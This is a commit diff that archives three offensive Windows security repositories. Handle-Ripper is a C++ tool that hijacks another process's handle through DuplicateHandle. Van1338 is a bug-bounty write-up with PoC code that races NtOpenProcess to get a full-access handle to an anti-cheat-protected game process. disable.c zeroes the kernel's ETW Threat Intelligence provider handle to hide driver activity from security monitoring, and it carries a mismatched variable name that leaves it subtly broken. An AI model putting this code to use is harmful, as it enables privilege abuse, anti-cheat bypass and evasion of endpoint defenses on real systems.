archive: add 5 repo prompt(s) [skip ci]

2026-06-21 13:56:22 +00:00 · 2026-02-24 13:58:06 +00:00
parent f407ff88f2
commit 9fa33bb20f
5 changed files with 16519 additions and 0 deletions
@@ -0,0 +1,384 @@
+Project Path: arc_gmh5225_Handle-Ripper_wa_7bu77
+
+Source Tree:
+
+```txt
+arc_gmh5225_Handle-Ripper_wa_7bu77
+├── Handle-Ripper
+│   ├── Handle-Ripper.vcxproj
+│   ├── Handle-Ripper.vcxproj.filters
+│   └── Source.cpp
+├── Handle-Ripper.sln
+└── README.md
+
+```
+
+`Handle-Ripper.sln`:
+
+```sln
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.2.32616.157
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Handle-Ripper", "Handle-Ripper\Handle-Ripper.vcxproj", "{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|x64 = Debug|x64
+		Debug|x86 = Debug|x86
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x64.ActiveCfg = Debug|x64
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x64.Build.0 = Debug|x64
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x86.ActiveCfg = Debug|Win32
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Debug|x86.Build.0 = Debug|Win32
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x64.ActiveCfg = Release|x64
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x64.Build.0 = Release|x64
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x86.ActiveCfg = Release|Win32
+		{B86CD02B-77F2-4D30-9638-2AD8CF2055D9}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {DFE426F1-5758-41CB-8DD3-0F4791CB3379}
+	EndGlobalSection
+EndGlobal
+
+```
+
+`Handle-Ripper/Handle-Ripper.vcxproj`:
+
+```vcxproj
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{b86cd02b-77f2-4d30-9638-2ad8cf2055d9}</ProjectGuid>
+    <RootNamespace>HandleRipper</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="Source.cpp" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
+```
+
+`Handle-Ripper/Handle-Ripper.vcxproj.filters`:
+
+```filters
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="Source.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>
+```
+
+`Handle-Ripper/Source.cpp`:
+
+```cpp
+#include <iostream>
+#include <Windows.h>
+#include <tlhelp32.h>
+
+#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
+
+using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
+    ULONG SystemInformationClass,
+    PVOID SystemInformation,
+    ULONG SystemInformationLength,
+    PULONG ReturnLength
+    );
+
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
+{
+    USHORT UniqueProcessId;
+    USHORT CreatorBackTraceIndex;
+    UCHAR ObjectTypeIndex;
+    UCHAR HandleAttributes;
+    USHORT HandleValue;
+    PVOID Object;
+    ULONG GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+
+typedef struct _SYSTEM_HANDLE_INFORMATION
+{
+    ULONG NumberOfHandles;
+    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
+
+DWORD
+GetPID(
+    const char* pname
+)
+{
+    DWORD procId = 0;
+    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+
+    if (hSnap != INVALID_HANDLE_VALUE)
+    {
+        PROCESSENTRY32 pE;
+        pE.dwSize = sizeof(pE);
+
+        if (Process32First(hSnap, &pE))
+        {
+            if (!pE.th32ProcessID)
+                Process32Next(hSnap, &pE);
+            do
+            {
+                if (!_stricmp(pE.szExeFile, pname))
+                {
+                    procId = pE.th32ProcessID;
+                    break;
+                }
+            } while (Process32Next(hSnap, &pE));
+        }
+    }
+    CloseHandle(hSnap);
+    return (procId);
+}
+
+int
+HijackHandle(
+    HANDLE fileHandle,
+    DWORD UniqueProcessId)
+{
+    if (!fileHandle)
+        return -1;
+
+    HANDLE phandle = OpenProcess(PROCESS_DUP_HANDLE, 0, UniqueProcessId);
+
+    if (!phandle)
+    {
+        printf("error open process\n");
+        return (-1);
+    }
+
+    printf("opening target process\n");
+
+    HANDLE duplicateHandle = 0;
+    DuplicateHandle(phandle, fileHandle, GetCurrentProcess(), &duplicateHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);
+
+    if (!duplicateHandle)
+    {
+        printf("error while duplicating handle\n");
+        CloseHandle(phandle);
+        return (-1);
+    }
+
+    printf("handle duplicated\n");
+    CloseHandle(phandle);
+    return 0;
+}
+
+int
+wmain(
+    void
+)
+{
+    ULONG returnLenght = 0;
+    unsigned long long aSize = 0x69;
+    PSYSTEM_HANDLE_INFORMATION hInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(aSize);
+
+    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
+    while (NtQuerySystemInformation(0x10, hInfo, aSize, &returnLenght) == STATUS_INFO_LENGTH_MISMATCH)
+    {
+        aSize = returnLenght + 1024;
+        hInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(aSize);
+    }
+
+    for (int i = 0; i < hInfo->NumberOfHandles; i++)
+    {
+
+        if (hInfo->Handles[i].Object != (PVOID)0xffff8007aee061f0) // 0xffff80078354f930 is the handle object
+            continue;
+
+        printf_s("Handle 0x%x object 0x%p, UPID: %x handle number %d\n", hInfo->Handles[i].HandleValue, hInfo->Handles[i].Object, hInfo->Handles[i].UniqueProcessId, i);
+        if (!HijackHandle((HANDLE)hInfo->Handles[i].HandleValue, GetPID("victime.exe")))
+        {
+            printf("Handle Hijacked successfully\n");
+            break;
+        }
+    }
+    while (1);
+    return 0;
+}
+
+
+```
+
+`README.md`:
+
+```md
+# Handle-Ripper
+
+* Handle hijacking is a technique used in Windows operating systems to gain access to resources and resources of a system without permission. It is a type of privilege escalation attack in which a malicious user takes control of an object handle, which is an identifier that is used to reference a system object, such as a file, a directory, a process, or an event. This allows the malicious user to gain access to resources that should be inaccessible to them. 
+
+* Handle hijacking is a serious threat to system security as it allows a malicious user to access resources and data that should otherwise be protected. It can also be used to inject code into a vulnerable system, allowing the attacker to gain access to information and resources. 
+
+* Handle hijacking techniques are becoming increasingly prevalent as hackers develop more sophisticated methods of exploiting vulnerabilities in Windows systems. As such, it is important that system administrators understand the risks associated with handle hijacking and take proactive measures to protect their systems.
+
+# DETAILS
+
+* To perform a handle hijacking attack, an attacker must first identify a handle that is being used by a legitimate process and that they want to access. This can be done using various techniques, such as scanning the handle table of a process, monitoring handle creation events, or using a tool that can enumerate handles on the system ,Once the attacker has identified the handle they want to access, they can use the `DuplicateHandle` function to create a copy of the handle with their own process. This function takes the following parameters:
+  - `hSourceProcessHandle`: A handle to the process that contains the source handle.
+  - `hSourceHandle`: A handle to the object to duplicate.
+  - `hTargetProcessHandle`: A handle to the process that is to receive the duplicated handle.
+  - `lpTargetHandle`: A pointer to a variable that receives the handle value.
+  - `dwDesiredAccess`: The access rights for the duplicated handle.
+  - `bInheritHandle`: A value that specifies whether the handle is inheritable.
+  - `dwOptions`: Additional options for the handle duplication.
+
+* The DuplicateHandle function will create a new handle with the specified access rights and options, and return it in the lpTargetHandle parameter. The attacker can then use this handle to access the resource that it represents, allowing them to perform actions on the resource that they would not normally be able to do.
+
+# VID
+
+
+
+https://user-images.githubusercontent.com/60795188/206884063-ec573a88-4143-4f52-aac5-a66ba1036558.mp4
+
+
+```
@@ -0,0 +1,97 @@
+Project Path: arc_kkent030315_Van1338_bw_nvil9
+
+Source Tree:
+
+```txt
+arc_kkent030315_Van1338_bw_nvil9
+├── README.md
+└── assets
+    ├── 2021-12-21_23-18-41.mp4
+    ├── 3048e11d5233053c8ccefa2f3e682d0d.png
+    ├── 55cb87690a153e3bfd3ea5171c8f954d.png
+    ├── a2b5babbb8a08e74127ba6b84969e852.png
+    └── aa4591fb-ca59-4a18-90bf-08be9b14151e.png
+
+```
+
+`README.md`:
+
+```md
+[PoC Video](./assets/2021-12-21_23-18-41.mp4)
+
+# Van1338: Design Flaw in Riot Vanguard: $6,000
+
+A design flaw in Riot Vanguard could allow arbitrary user to acquire a full privileged process handle.
+
+![image](assets/3048e11d5233053c8ccefa2f3e682d0d.png)
+
+# The Complexity of Windows Object Callback Design
+
+Riot Vanguard uses `ObRegisterCallbacks` to protect the user-mode processes, a commonplace procedure to protect one process from another by auditing and modifying process handle access masks.
+
+`PsSetCreateProcessNotifyRoutineEx` is also known for its combined use with object callback to determine the processes requiring protection.
+
+This bounty disclosed a potential design flaw in the utilization of this API combination, upon which Riot Vanguard was dependent.
+
+This bug is also replicable on Easy Anti Cheat.
+
+## The Object Callback Timing Attack
+
+The process creation procedure in Windows systems is notably intricate due to factors such as UAC prompts and intermediation by PCA (_Program Compatibility Assistant_). Several procedures must be completed before entering the `NtCreateUserProcess` system call.
+
+This bug is substantiated by the ability of **object callbacks to be invoked right before the process callbacks** during the process creation phase.
+
+Why? Simple. the creator process necessitates specific mandatory access masks, including `PROCESS_VM_READ` and `PROCESS_VM_WRITE`, for covert PEB (Process Environment Block) patches[^1].
+
+Hence, the crux of this bug was straightforward: determining how quickly the `NtOpenProcess` system call could be issued.
+
+```c
+void poc()
+{
+    for(;;)
+    {
+        auto valorant_pid = GetValorantProcessId();
+        OBJECT_ATTRIBUTES oa = {};
+        InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
+        HANDLE handle;
+        CLIENT_ID cid = {};
+        cid.UniqueProcess = valorant_pid;
+        // Increase possibility: Direct to syscall to avoid redundant proxy calls in kernelbase.
+        NtOpenProcess(&handle, PROCESS_ALL_ACCESS, &oa, &cid);
+        // ... sanity checks ...
+    }
+}
+```
+
+## Riot Vanguard Periodic Check
+
+One of Riot Vanguard's resident system threads periodically inspects the handle table of every process in each session. Even fully privileged handles, once acquired, are immediately patched by Vanguard, and access masks are stripped through direct kernel object manipulation, analogous to the method used by [KSystemInformer](https://github.com/winsiderss/systeminformer/blob/21f899f985015935468a09bc8a753f820071c065/KSystemInformer/protection.c#L283-L299).
+
+However, the actor could still have substantial time to execute their operation using the leaked handle, as the interval between periodic checks was insufficient to preempt handle leaks.
+
+## The Patch
+
+This bug was patched in early Riot Vanguard `1.12.0.177`.
+
+### But With A Pain...
+
+The bug is fixed, albeit with some complications...
+
+![image](assets/aa4591fb-ca59-4a18-90bf-08be9b14151e.png)
+
+The conceivable patch would involve protecting the process in an object callback instead of a process callback. However, the complexity of Windows process creation cannot be overlooked. Now, Valorant cannot operate in compatibility mode.
+
+Furthermore, under specific environments, assigning process protection on object callbacks could render a process to not executable. The offender is `svchost.exe` (`pcasvc.dll`)[^1]. The PCA (_Program Compatibility Assistant_) component intermediates process creation with "Run this program as an administrator" and will fail if some mandatory access masks were stripped.
+
+## Bonus: Image Marker for Riot Vanguard Protection
+
+Did you ever notice a special marker in the protected process images DOS header?
+
+![image](assets/55cb87690a153e3bfd3ea5171c8f954d.png)
+![image](assets/a2b5babbb8a08e74127ba6b84969e852.png)
+
+Riot Vanguard scrutinizes this special marker and subsequently conducts embedded signature verification. If the signature belongs to Riot Games, Inc., the process will be internally added to Vanguard's protected list.
+
+[^1]: My colleague @crvvdev referred the idea to me. Thanks!
+
+```
@@ -0,0 +1,37 @@
+Project Path: arc_muturikaranja_disable-threat-tracing_2ylp_2wp
+
+Source Tree:
+
+```txt
+arc_muturikaranja_disable-threat-tracing_2ylp_2wp
+└── disable.c
+
+```
+
+`disable.c`:
+
+```c
+// Offset is for Windows 11 21H2
+// There's more handles to zero, but I'll leave it to the reader to find them. This alone won't perfectly hide a driver loading & unloading.
+// For example, you'll also have to stop symbolic links from being logged.
+// If you need help contact me on discord: Hiiiii#5658
+
+ULONG64 EtwThreatIntProvRegHandle_offset = 0xC15D78;
+ULONG64 old_EtwThreatIntProvRegHandle = 0ULL;
+
+__forceinline VOID get_EtwThreatIntProvRegHandle()
+{
+    old_EtwThreatIntProvRegHandle = *(ULONG64*)((ULONG64)get_ldr_entry(L"ntoskrnl.exe") + EtwThreatIntProvRegHandle_offset);
+}
+
+__forceinline VOID disable_threat_tracing()
+{
+    *(ULONG64*)((ULONG64)get_ldr_entry(L"ntoskrnl.exe") + EtwThreatIntProvRegHandle_offset) = 0ULL;
+}
+
+__forceinline VOID enable_thread_tracing()
+{
+    *(ULONG64*)((ULONG64)get_ldr_entry(L"ntoskrnl.exe") + EtwThreatIntProvRegHandle_offset) = old_EtwThreadIntProvRegHandle;
+}
+
+```